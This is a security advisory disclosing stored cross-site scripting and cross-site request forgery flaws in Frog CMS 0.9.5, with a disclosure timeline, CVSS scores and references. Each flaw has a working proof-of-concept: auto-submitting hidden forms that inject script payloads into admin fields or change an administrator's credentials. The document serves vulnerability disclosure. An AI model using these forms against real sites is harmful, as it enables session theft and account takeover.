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Multiple Vulnerabilities in Frog CMS

Advisory ID:HTB22682
Product:Frog CMS
Vendor:Philippe Archambault
Vulnerable Versions:0.9.5 and probably prior
Tested Version:0.9.5
Advisory Publication:November 9, 2010 [without technical details]
Vendor Notification:November 9, 2010
Public Disclosure:November 23, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerability in Frog CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in Frog CMS
1.1 The vulnerability exists due to input sanitation error in the "page[keywords]" parameter in frog/app/controllers/PageController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">
<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumbs">
<input type="hidden" name="page[keywords]" value='key"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page[description]" value="">
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-25">
<input type="hidden" name="page[created_on_time]" value="23:28:03">
<input type="hidden" name="page[published_on]" value="2010-10-25">
<input type="hidden" name="page[published_on_time]" value="23:28:04">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="7">
<input type="hidden" name="part[0][filter_id]" value="markdown">
<input type="hidden" name="part[0][content]" value="page content">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="commit" value="Save and Close">
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "setting[admin_title]" parameter in frog/app/controllers/SettingController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?/setting" method="post" name="main">
<input type="hidden" name="setting[admin_title]" value='Frog CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[language]" value="en">
<input type="hidden" name="setting[theme]" value="default">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

1.3 The vulnerability exists due to input sanitation error in the "user[email]" parameter in frog/app/controllers/UserController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/?/user/add" method="post" name="main">
<input type="hidden" name="user[name]" value="">
<input type="hidden" name="user[email]" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="user[username]" value="">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) in Frog CMS
The vulnerability exists due to insufficient validation of the request origin in frog/app/controllers/UserController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main">
<input type="hidden" name="user[name]" value="username">
<input type="hidden" name="user[email]" value="email@example.com">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[administrator]" value="1">
<input type="hidden" name="user_permission[developer]" value="2">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22682 - https://www.immuniweb.com/advisory/HTB22682 - Multiple Vulnerabilities in Frog CMS
[2] Frog CMS - madebyfrog.com - Frog CMS is an open source content management system originally developed by Philippe Archambault.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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